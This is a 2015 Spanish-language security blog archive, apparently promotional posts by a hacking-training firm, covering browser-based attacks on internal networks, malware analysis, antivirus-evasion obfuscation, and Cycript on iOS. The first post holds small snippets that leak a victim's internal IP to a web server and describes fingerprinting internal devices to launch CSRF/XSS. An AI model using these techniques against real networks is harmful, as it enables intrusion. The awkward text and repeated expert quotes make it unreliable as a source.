Tuesday, 29 September 2015
¿CÓMO HACKEAR Y EXPLOTAR LA RED INTERNA Y IPS PRIVADAS?
01:36
No comments
Según una encuesta por empresa de seguridad informática, la
mayoría de las personas creen que mientras se navegan por la Web que están
protegidas por firewalls y redes aisladas a través de direcciones privadas del
IP NAT. Con este entendimiento, asumimos la seguridad de los sitios web de
intranet y las interfaces basadas en routers, cortafuegos, impresoras,
teléfonos IP, sistemas de nómina, etc., aunque dejamos sin parchear. Pensamos
que permanecen seguro dentro de la zona protegida y nada es capaz de conectar
directamente desde el mundo exterior, ¿no?
Bueno, no del todo. Navegadores web pueden ser completamente
controlados por cualquier página web, lo que les permite atacar los recursos de
la red interna acuerdo con profesores de formación de hacking ético. La
navegador web de cada usuario en una red empresarial se puede cambiar en un
trampolín para los intrusos sin soluciones de seguridad perimetral avanzados.
Cómo alguien puede explotar la
red interna
Un experto de empresa de seguridad informática explica
los procedimientos para explotar la red interna:
§ Una víctima visita una página
web maliciosa, que asume el control de su navegador Web. La página web
maliciosa podría ser cualquiera página web, atada con un ataque XSS permanente
que hackers están siendo aprovechado para la entrega de malware masivo.
§ Cuando se ejecuta el malware, lo
hace desde la perspectiva de la intranet de la víctima, donde nadie puede
acceder directamente. Esto quiere decir que el navegador web de la víctima
puede ser instruido para entregar su dirección de NAT IP y hacer conexiones en
la red interna en nombre del atacante o víctima.
§ El malware utiliza navegador web
de la víctima como una plataforma de lanzamiento, donde el malware hace los
análisis de puertos, fingerprinting de los servidores web en la red interna y
revisa las soluciones de seguridad perimetral implementadas.
§ El malware se inicia los ataques
contra los objetivos internos y la información comprometida se envía fuera de
la red para la colección.
Es fácil a obtener la dirección
IP pública de un navegador web desde el servidor web, pero la dirección IP
interna es poco difícil menciona profesores de formación de
hacking ético. Esta es la pieza de información que necesitamos
para comenzar a explorar y explotar intranet. Para obtener IP interna, tenemos
que invocar Java en un navegador y un applet. Eso es una forma sencilla de hacerlo.
El siguiente código carga el MyAddress.class y luego abre la URL de
http://webserver/dirección_ip.html?nat
= XXXX
<APPLET
CODE=”MyAddress.class”>
<PARAM NAME=”URL”
VALUE=”http://webserver/ip_address.html?nat=”>
</APPLET>
Si el navegador web de la víctima es una Mozilla / Firefox, es
posible omitir el requisito subprograma e invocar una socket de Java
directamente desde el JavaScript.
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new
java.net.Socket(host,port)).getLocalAddress().getHostAddress();
return Socket;
}
Framework para explotar la red
interna
Sonar
Sonar.js es un marco que utiliza JavaScript, WebRTC, y algunas
funciones onload para detectar dispositivos internos en una red. sonar.js
funciona mediante la utilización WebRTC para enumerar hosts en vivo en la red
interna. Mike Stevans profesor de formación de hacking ético explica que tras
enumerar las direcciones internas sonar.js intenta vincular a los recursos estáticos
como CSS, imágenes y JavaScript, mientras que conecta el controlador de eventos
onload. Si carga los recursos con éxito e inicia el evento onload entonces
sabemos que el anfitrión tiene este recurso.
¿Por qué es útil saber? Al obtener una lista de los recursos
alojados en un dispositivo, podemos intentar hacer fingerprinting de los
dispositivos y soluciones de seguridad perimetral.
¿Cómo funciona Sonar?
Al cargar payload de sonar.js en un navegador web moderno
sucederá lo siguiente:
§ sonar.js utilizará WebRTC para
enumerar lo IPs internas que tiene el usuario
§ sonar.js luego intenta encontrar
otros hosts en vivo de la red interna a través de webSockets.
§ Si no se encuentra una gran
cantidad en vivo, sonar.js comienza a intentar hacer fingerprinting mediante la
vinculación a ella a través de
<img src=”x”> and <link
rel=”stylesheet” type=”text/css” href=”x”>
y enganchar el proceso de onload. Si el recurso carga con éxito
se activará un evento para lanzar el exploit acuerdo con resultados de
fingerprinting.
Sonar.js trabaja sobre una base de datos de fingerprints.
Fingerprint es simplemente una lista de los recursos conocidos en una red que
se pueden vincular a y detectados a través onload. Ejemplos de esto incluyen
imágenes, hojas de CSS style, e incluso JavaScript externo.
Acuerdo con expertos
de empresa de seguridad informática, mediante
la creación de sus propias fingerprints se puede construir exploits
personalizados que serán lanzadas contra los dispositivos internos una vez que
son detectados por sonar.js. Exploits comunes incluyen cosas como la Cross-site
Request Forgery (CSRF), Cross-site Scripting (XSS), etc. La idea es que usted
puede utilizar estas vulnerabilidades para hacer cosas tales como modificar
configuraciones DNS del router, el sacar archivos desde un servidor de archivos
interno, y más.
Mediante el uso de sonar.js pentesting puede construir exploits
contra los servidores internos de registro, routers, impresoras, teléfonos
VOIP, y más menciona expertos de soluciones de
seguridad perimetral .
Debido a las redes internas a menudo están menos vigiladas, ataques como CSRF y
XSS pueden ser de gran alcance para hacerse cargo de las configuraciones de los
dispositivos internos de una red.
Monday, 21 September 2015
¿Cómo hacer ingeniería inversa de malware?
00:09
No comments
Software malicioso
puede ser virus, gusano, Troyano, Rootkit, Bot, herramienta de DoS, Exploit
Kit, spyware. El objetivo del análisis de malware es tener una comprensión de
la forma de trabajo de piezas específicas de malware. Hay preguntas importantes
que deben ser contestadas. Al igual que, ¿cómo se infecta máquina y qué hace
exactamente malware? En este artículo vamos a tratar de entender con la ayuda
de Bill Smith, experto de soluciones de
seguridad informática, los conceptos básicos de análisis de malware y
cómo se puede empezar a hacer análisis de malware.
¿Quién analiza el malware?
Hay diferentes tipos de personas y organizaciones
que hacen análisis de malware. Todos ellos caen bajo de estas categorías:
• CSIRT
• Desarrolladores de productos de seguridad
• Los proveedores de servicios de seguridad
• Investigadores de Anti-virus
• Los desarrolladores de software
• Agencias de seguridad del gobierno
¿Por qué hay una necesidad de analizar el
malware?
Las siguientes son las razones detrás de análisis
de malware.
• Disponer un procedimiento de respuesta a
incidentes de hacking.
• Para hacer el desarrollo de productos y la
mejora de productos como anti-virus.
• Para la creación de firmas para la protección
contra el malware.
• Para crear soluciones de contramedidas.
• Para hacer el análisis y resolución de
vulnerabilidad.
• Para rastrear y capturar a los delincuentes que
crean el malware.
Métodos de análisis de malware
De acuerdo con expertos de formación de seguridad
informática, para hacer análisis de malware tiene que seguir estos pasos:
1. Configuración del entorno
Configurar una máquina controlada que no está
conectada a la red, también debe ser capaz de restaurar esta máquina en
cualquier momento.
2. Colección del Malware
Para configurar el entorno es necesario descargar
el archivo de malware primero, y entonces usted necesita cambiar extensión de
archivo. De acuerdo con las sugerencias de expertos en curso de hacking ético,
después de bajar el archivo se puede copiar el archivo en un disco protegido ya
que esto puede ayudar a aislar el malware en algunos casos.
3. Análisis de superficie
Recuperar información de superficie de maquina con
malware sin ejecución. Motivo de análisis de superficie es conseguir:
• Valor Hash
• Tipo de archivo
• Strings
• Los resultados de programas antivirus
4. Análisis en tiempo de ejecución
En este paso se puede ejecutar malware y observar
su comportamiento. Puede utilizar varios métodos de análisis automatizados o
manuales. Puede utilizar las herramientas de observación en el sistema de
sandbox para su análisis. Todo el ambiente se puede ser dedicado o aislado OS
nativo o sistema virtual explica Mike Stevens, especialista del Mike Stevens,
experto de formación de seguridad informática.
5. Análisis estático
En el análisis estático debe leer el código en el
archivo binario y entender su funcionamiento. Usted necesitará el conocimiento
del sistema operativo, básico de lenguaje ensamblador, técnicas de lectura
eficientes y técnicas anti-análisis. Si está packed el código binario tendrá
que hacer unpacking. Además para entender el binario, usted tendrá que
descompilar o hacer disassemble/debug del binario.
Puede utilizar siguientes herramientas para el
análisis estático:
Disassembler
IDA Interactive DisAssemble: Se desensamblar más
de 50 arquitecturas
Decompiler
Hex-rays Decompiler: x86/ARM binario a codigo de C.
VB Decompiler: Binario de Visual Basic a código
fuente de Visual Basic.
.NET Reflector: .NET binario a código fuente de
.NET.
Debugger
OllyDbg: Muy famoso x86 debugger
Immunity Debugger: x86 debugger de Python
Para entender el código, puede comenzar con las
API de Windows de MSDN Library y entender lo que hace el API. También puede
comprobar que hacen argumentos y condiciones. Mientras se utiliza un
Disassembler, se puede leer, cambiar el nombre y comentar instrucciones para
entender el código. Usted puede aprender más sobre Disassembler en curso de formación de hacking
ético.
6. Codificación (ofuscación) en Malware
A veces el programador de malware hace ofuscación del
código para hacer que sea difícil para que usted pueda hacer el análisis del
código.
Nombre de archivo, nombre de la entrada del
registro, dirección del servidor almacenada en el binario se codifican como
strings. Además paquetes de datos de HTTP pueden ser codificados utilizando
diferentes métodos. Algunos de los métodos de codificación son
• xor (exclusive or)
• ror/rol (rotate right/left)
• base64
• RC4
• AES
También todo los malwares estos días usan C&C
servidor (servidor de comando y control) para obtener los comando, devolver los
resultados y datos. Los hackers pueden crear servidores C&C utilizando
servidores hackeados, sitios web o cuentas de correo electrónico. También se
pueden utilizar Twitter y Facebook cuentas como servidor C&C, de manera que
no podemos rastrearlos. Pueden aprender cómo crear servidor C&C utilizando
cuentas de redes sociales durante la capacitación de la seguridad informática
de iicybersecurity.
7. Prevenir análisis de Malware en tiempo de
ejecución
Algunos tipos de malware son lo suficientemente
inteligente como para detectar la actividad de análisis por lo tanto tienen una
lógica para evitar el análisis por los analistas de malware explica experto
soluciones de seguridad informática. Algunas de las técnicas utilizadas para
detectar análisis de malware son:
Debugger: Para comprobar si hay debuggers, el
malware revisa por puntos de interrupción, manejo de excepciones.
Máquina virtual: Para comprobar si hay máquina
virtual, el malware revisa por la interfaz, el comportamiento de la CPU,
Herramientas de soporte (como el Virtual box).
Herramientas de análisis: Para comprobar si hay
herramienta de análisis de malware como IDA Pro, el malware revisa por el
nombre de la ventana, el nombre del módulo.
El malware veces también puede comprobar el nombre
del ordenador, el tamaño del disco, la posición del cursor para evitar el
análisis de malware. Después de detectar que se realiza el análisis de malware,
lo hace algo diferente o no hace nada.
Vamos a cubrir más detalles en profundidad sobre
análisis de malware en el próximo artículo con la ayuda de Mike Stevens,
profesor de formación hacking ético.
Friday, 11 September 2015
Metodologías de ofuscación de código de malware para evasión de antivirus
00:11
No comments
Acuerdo con profesionales de seguridad informática, las dos razones principales de la utilización de la ofuscación del
código en malware son:
1. Para disuadir la ingeniería
inversa estática de malware. Se hace más difícil a enfocar las secciones de
código más importante.
2. Para que las firmas
estáticas utilizadas por los vendedores de AV no puedan detectar malware, ya que
las firmas se basan en secuencias de bytes específicas en el binario.
Vamos a entender con ayuda de
expertos de formación y servicios de hacking ético de IICS las
metodologías que usan programadores de malware. Abajo hay diferente
metodologías usadas por los programadores de malware para hacer ofuscación de
control de flujo en malware.
Ofuscación por funciones de
callback definida por la aplicación
Hay ciertas APIs proporcionadas
por Microsoft, lo que nos permite registrar una función de callback. Estos
pueden ser utilizados por malware para ocultar la lógica principal de su
código. Pueden pasar un puntero a la subrutina malicioso como el parámetro de
callback para la API. Cuando se crea window usando CreateWindowA (), el
procedimiento de window se invoca con ciertos mensajes por defecto como
WM_CREATE, WM_NCCREATE y así sucesivamente. Sin embargo, se ejecutará el código
del virus principal solamente cuando se recibe un mensaje de window en
particular explico Bill Smith experto de seguridad en la nube que maneja equipo
de análisis de malware de la nube.
Ejecución a través de manejo
de excepciones
Malware también podría
redirigir la ejecución de la subrutina malicioso mediante la activación de una
excepción. Para ello, primero se registran un manejador de excepciones
utilizando RtlAddVectoredExceptionHandler () o mediante el registro de un nuevo
manejador de excepciones estructurado.
Expertos de empresa de seguridad informática explican
que la excepción se puede invocar utilizando cualquiera de los siguientes:
1. Activación de una violación
de acceso a memoria, tratando de escribir en una dirección de memoria a la que no
hay acceso de escritura o intentando llamar a una dirección de memoria no
válida.
2.
Ejecución de una instrucción privilegiada como STI o CLI, que daría lugar a una
excepción privilegiada en modo protegido.
3. Realización de una división
por cero para activar la excepción.
Controlar debugger
Según expertos de hacking
ético, hay ciertas instrucciones especiales o secuencia de instrucciones que
cuando se ejecuta en el debugger cambian el comportamiento predeterminado del
debugger. Eso ayuda en ofuscación de control de flujo del código en debugger y
hace más difícil entender el código.
NT 2D tiene un comportamiento
especial en Olly debugger. Olly se saltará el siguiente byte en la ejecución
como resultado de los cuales se ofusca el flujo de control. Esta técnica se
refiere a menudo como byte scission. También tiene un comportamiento dinámico
en diferentes entornos.
Overwrite RETN: Este es un
comportamiento especial observado en Olly debugger. Si sobre escribimos la
instrucción RETN con el código de operación, 0xC3 (que es el código de
operación de RETN) justo antes de ejecutar RETN, debugger no se detiene en la
dirección RETN sino que se ejecuta el código dentro del debugger.
Instrucciones chatarras
Hay varios motores polimórficos
que son utilizados por los autores de malware para generar versiones
modificadas de su binario que realizan las mismas actividades en la máquina,
sin embargo se modifica su código explica Bill Smith experto de servicios de seguridad en la nube. Esto se utiliza a menudo para evitar firmas
estáticas escritas por detectar malware por proveedores de seguridad. Una de
las características importantes de un motor polimórfico es el generador de
instrucciones chatarras. Instrucciones chatarras son secuencia de instrucciones
que no afectan a la lógica general del código de ninguna manera, pero se
colocan para disuadir la ingeniería inversa. Entre cada instrucción útil, se
colocan varios bytes chatarras. Las principales razones para la inyección de
instrucciones chatarras en la sección de código son:
1. Estos bytes chatarras
podrían corresponder las instrucciones que no alteran la lógica general del
código. Aumentan el tamaño de la sección de código y disuadir la ingeniería
inversa, ya pesar de que estas instrucciones parecen ser legítimas y no tienen
ningún impacto en el comportamiento principal del virus.
2.
Instrucciones chatarras inyectados en el área de instrucciones corresponden a
las instrucciones parciales. Esto se hace para confundir a los desensambladores
que se basan en algoritmos como Linear Sweep y Recursive Traversals.
3. El código puede ser ofuscado
aún más mediante el uso de predicados opacos que se pueden combinar con las API
de Windows que siempre va a devolver un valor fijo.
Hay algunas
tecinas más de ofuscación de código usado por los hackers menciona Bill Smith y
alguien con experiencia en seguridad informática o seguridad en la nube puede
entender fácilmente y vamos a cubrir eso en próximo artículo.
Wednesday, 2 September 2015
¿Cómo usar Cycript para romper apps de iOS?
00:33
No comments
Acuerdo con los profesionales de empresa de seguridad
informática, Cycript permite a los desarrolladores para explorar y modificar aplicaciones
que se ejecutan en iOS o Mac OS X utilizando un híbrido de Objective-C ++ y la
sintaxis de JavaScript a través de una consola interactiva que cuenta con
resaltado de sintaxis. Escrito por Jay Freeman (Saurik) de Cydia, lo que hace
es darnos una manera interactiva e inmediata para modificar los procesos que se
ejecutan en iOS índico experto de seguridad en la nube.
Si hacemos SSH en un dispositivo iOS con cycript
instalado, podemos ejecutarlo directamente desde el dispositivo. Esto
inmediatamente nos da acceso a un entorno REPL configurado y estamos listos
para jugar señaló Mike Stevens maestro de formación de hacking ético de la
organización International Institute of Cyber Security. Es en este punto
también podemos decidir cuál es el proceso para inyectar nuestras
modificaciones en.
Usted puede inyectar en el proceso de Springboard. El
Springboard ayuda a controlar todo, desde la pantalla de bloqueo para la
aplicación de conmutación. Antes de usar Cycript y cambiar algo, tenemos que
saber lo que queremos cambiar, su nombre y dónde se encuentra menciono experto
de sistemas de seguridad en la nube icloud.
Hay varias maneras de encontrar algo que queremos
cambiar usando cycript. Una forma es utilizar los header dumps que he
mencionado antes de interactuar con las clases, métodos y variables
directamente escribiendo sus nombres menciono el experto de empresa de seguridad informática . Otro
método - útil si se está modificando una aplicación en lugar de Springboard -
es llamar UIApp.keyWindow.recursiveDescription que imprimirá una descripción
jerárquica de la configuración de la pantalla en este momento. Usted puede
trabajar hacia atrás desde la parte inferior de esta descripción para encontrar
finalmente la clase que usted desea cambiar.
El método que utilizaremos es función integrada en
cycript llamada choose. La función de choose busca en la memoria de proceso
inyectado para cualquier clase que busca, y agarra todo como una matriz. Por
ejemplo podemos pedir todas las instancias de la clase UILabel, suponiendo que
nuestro mensaje No hay Notificaciones será un UILabel. Según Jim Taylor experto
de seguridad en la nube que debido
a la gran cantidad de UILabel en la memoria, puede fácilmente instalarlo de
modo que cycript muestra sólo el texto de las etiquetas. Afortunadamente,
debido a la naturaleza de la escritura y de cycript, podemos hacer esto en una
sola línea.
[choose(UILabel)[i].text for(i in choose(UILabel))]
for(i in
choose(UILabel)) if (choose(UILabel)[i].text == "No Notifications")
nnLabel = choose(UILabel)[i];
En el fragmento anterior, hemos guardado el UILabel
que es texto coincidente " No Notifications " como nnLabel. Ahora
podemos interactuar con la etiqueta tanto como nosotros queremos, e incluso
llamar a todos los métodos habituales se pueden usar en un UILabel.
Por desgracia, este pequeño cambio de
piratería de memoria no es permanente, cerrar y volver a abrir el centro de
notificación provocará código original de Apple para volver a ejecutar y
arruinar todo nuestro duro trabajo. Hacer lo permanente el trabajo será el tema
que pueden aprender durante de formación de hacking ético, que describe cómo se puede
enganchar en el código de Apple mediante programación para cambiar lo que
realmente se ejecute, en lugar de cambios temporales.